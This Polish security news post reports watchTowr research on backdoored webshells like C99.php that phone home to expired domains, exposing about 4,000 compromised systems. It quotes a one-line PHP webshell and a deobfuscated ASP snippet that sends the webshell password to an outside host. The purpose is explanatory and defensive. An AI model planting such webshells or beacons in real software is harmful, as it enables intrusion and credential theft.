Preorder drugiego tomu książki sekuraka: Wprowadzenie do bezpieczeństwa IT. -15% z kodem: sekurak-book

Historia o tym jak badacze bezpieczeństwa mogli przejąć infrastrukturę rządową i nie tylko – cudzymi rękami

20 stycznia 2025, 01:22 | W biegu | 0 komentarzy

O tym, że profesjonaliści zajmujący się bezpieczeństwem powinni z należytą dbałością weryfikować wykorzystywane narzędzia pisaliśmy już nie raz. Ostatnio temat ten został przytoczony omawiając przypadek domeny linpeas.sh. Dzisiaj znów wyciągniemy wnioski z cudzych błędów, a laboratoryjnym przykładem nie będą pentesterzy, a czarne kapelusze (ang. black hat). Jednak morał płynący z tej historii, może się również przydać tym, którzy będą stawiać pierwsze kroki i zdobywać swoje pierwsze maszyny na legalnej ścieżce ofensywnych testów bezpieczeństwa.

TLDR:

  • Badacze WatchTowr wracają z kolejnym sposobem na “pasywne” przejęcie cudzej infrastruktury.
  • Analiza powszechnie dostępnych narzędzi hakerskich pokazuje, że część z nich zawiera backdoory ujawniające ich wykorzystanie autorom.
  • Badaczom udało się znaleźć narzędzia odwołujące się do nieprzedłużonych domen. Dzięki ich ponownej konfiguracji, udało się uzyskać dostęp do uprzednio przejętych systemów.

WatchTowr nikomu nie trzeba chyba przedstawiać (ostatnio do zespołu dołączył również Piotr Bazydło, serdecznie gratulujemy i czekamy na wyniki!). Tym razem badacze postanowili przyjrzeć się webshellom, czyli małym skryptom, które ułatwiają wykonanie techniki lateral movement (potocznie: poszerzanie dostępów w bok infrastruktury) na przejętej maszynie. Zapisanie webshella na atakowanym serwerze WWW pozwala atakującemu na wygodne wykonywanie komend przez przeglądarkę, bez konieczności użycia beaconów C2 (odbiorników dla serwera Command and Control) lub innych metod kontroli zdalnych systemów. 

Na swojej drodze nauki cyberbezpieczeństwa niejednokrotnie można natknąć się na proste webshelle np. w PHP. Mogą one mieć postać onelinera:

<?php system($_GET['exec']);?>

które przekazują po prostu zawartość parametru exec do wywołania funkcji system. Dużo prostsze niż każdorazowe wykorzystywanie podatności dającej np. RCE (ang. Remote Code Execution). Czasami bez umieszczenia własnego kodu na serwerze z wykorzystaniem podatności w funkcji uploadu, wykonanie kodu może nie występować. 

Webshelle mogą być jednak przybierać bardziej h4xi0rski3 (przyp. „hakerskie”) formy, które oprócz elitarnego wyglądu mają też dodatkową funkcjonalność jak eksplorator plików czy automatycznie generowanie połączenia zwrotnego (ang. reverse shell). Dobrym przykładem tego typu skryptów jest, dostępny nawet na GitHubie, C99.php. 

Rysunek 1. Screenshot prezentujący przykładowe wykorzystanie c99.php (źródło: watchTowr)

Kod takiego shella może zawierać, dodane przypadkowo (ale najczęściej jednak celowo), ukryte funkcje. Od tych pozwalających na obejście uwierzytelniania (bo przecież przejmując cudze hosty należy zadbać o to abyśmy tylko my mieli do nich dostęp), po logowanie uruchomienia takiego shella na serwerze kontrolowanym przez autorów. Oznacza to, że autorzy webshella dostają przejęty system niejako w gratisie. Wystarczy, że np. przejrzą logi swojego serwera WWW oraz wykorzystają backdoora w backdoorze. Nie jest to absolutnie żadne odkrycie. Od lat wiadomo, że np. C99.php jest zbackdoorowany. 

WatchTowr postanowił przyjrzeć się znanym webshellom, określić jakie furtki zawierają, a następnie… wykorzystać tę wiedzę do zakupu nieodnowionych domen, które są wykorzystywane w backdoorach.

Rysunek 2. Humorystyczne ujęcie łańcucha pokarmowego w środowisku hackerów  (źródło: watchTowr)

W wyniku skonfigurowania infrastruktury oraz podpięcia zidentyfikowanych domen, systemy które były przez kogoś zbackdoorowane (a tak naprawdę były zbackdoorowane podwójnie, nie tylko przez pierwotnych atakujących ale także autorów webshelli, którzy dodali niespodzianki do kodu wykorzystywanego przez tych atakujących) zaczęły nawiązywać połączenia z serwerem WWW. Eksperyment był prowadzony w sposób możliwie etyczny, to znaczy, że watchTowr nie inicjował żadnych transmisji, logował jedynie połączenia przychodzące, na które serwer WWW odpowiadał kodem 404. 

img2.w2img.com/midia_img/0f000cbW0BuDik7If87T3s.gif 202.146.[redacted] 485 "http://www.[redacted].com/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36"
img2.w2img.com/midia_img/0f000cbW0BuDik7If87T3s.gif 35.206.[redacted] - 404 466 "http://[redacted].cn/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36"
img2.w2img.com/midia_img/0f000cegVDnfw03Y33y936.gif 103.170.[redacted] - 404 466 "http://www.[redacted].net/" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.0"

Listing 1. Fragment logów zebranych podczas eksperymentu (źródło: watchTowr)

W wyniku przeprowadzonych badań zidentyfikowano prawie 4000 przejętych przez kogoś systemów. Wśród logów natrafiono między innymi na chińskie systemy rządowe.

host# grep "\\.gov" referrers | sort -u
http://www.[redacted].gov.cn/
https://fhc.gov.ng/
http://[redacted].court.gov.cn
http://[redacted].gov.bd

Listing 2. Hosty w domenach gov (źródło: watchTowr)

Połączenia próbowały też nawiązać zbackdoorowane webshelle, które przesyłały pełne hasło skonfigurowane przez atakującego jako jeden z parametrów. Oznacza to, że dopóki autorzy webshella utrzymywali swoją domenę, to mieli na bieżąco aktualizowaną listę zbackdoorowanych systemów łącznie z hasłem dostępu. 

Rysunek 3. Webshell zabezpieczony hasłem (źródło: watchTowr)
<img src='<http://www.odayexp.com/sx/key.asp?url=>" & \\
	server.URLEncode("http://" & request.ServerVariables("HTTP_HOST") & request.ServerVariables("URL")) & \\
	"&p="&UserPass&"' />

Listing 3. Zdeobfuskowany fragment kodu webshella, który przesyła zmienną UserPass w parametrze p zapytania HTTP (źródło: watchTowr)

Zebrane w ten sposób informacje pozwalają na niczym nieskrępowany dostęp do przejętych systemów. W związku z ryzykiem jakie niesie ze sobą ponowne wygaśnięcie tych domen, zostały one przekazane pod opiekę Fundacji Shadow Server.

Pułapki zastawione na tzw. script kiddies lata temu, do dziś zbierają swoje żniwa. I gdyby nie brak zainteresowania, zmiana charakteru kariery lub kłopoty prawne autorów tych narzędzi, to mogłyby być wykorzystywane do dziś (i pewnie w przypadku wielu innych webshelli tak jest). Te przykłady dogłebie pokazują, jak ważna jest weryfikacja ofensywnych narzędzi. Jesteśmy sobie w stanie wyobrazić sytuację, w której na w pełni legalnym penteście, niedoświadczona osoba wykorzystuje pobrany z internetu webshell i umieszcza niezamierzonego backdoora w systemie klienta. Uczulamy na to wszystkich, zwłaszcza w momencie gdy generowanie kodu przez AI przyspiesza. Nawet jeśli sztuczna inteligencja nie wygeneruje celowo tylnej furtki, to należy pamiętać, że mogła być trenowana na zbackdoorowanych skryptach i podatności te może przenieść również na nowe shelle. 

Autorom jak zwykle gratulujemy świetnej publikacji! 

~callsign.chaos && evilcat

Spodobał Ci się wpis? Podziel się nim ze znajomymi:



Komentarze

Odpowiedz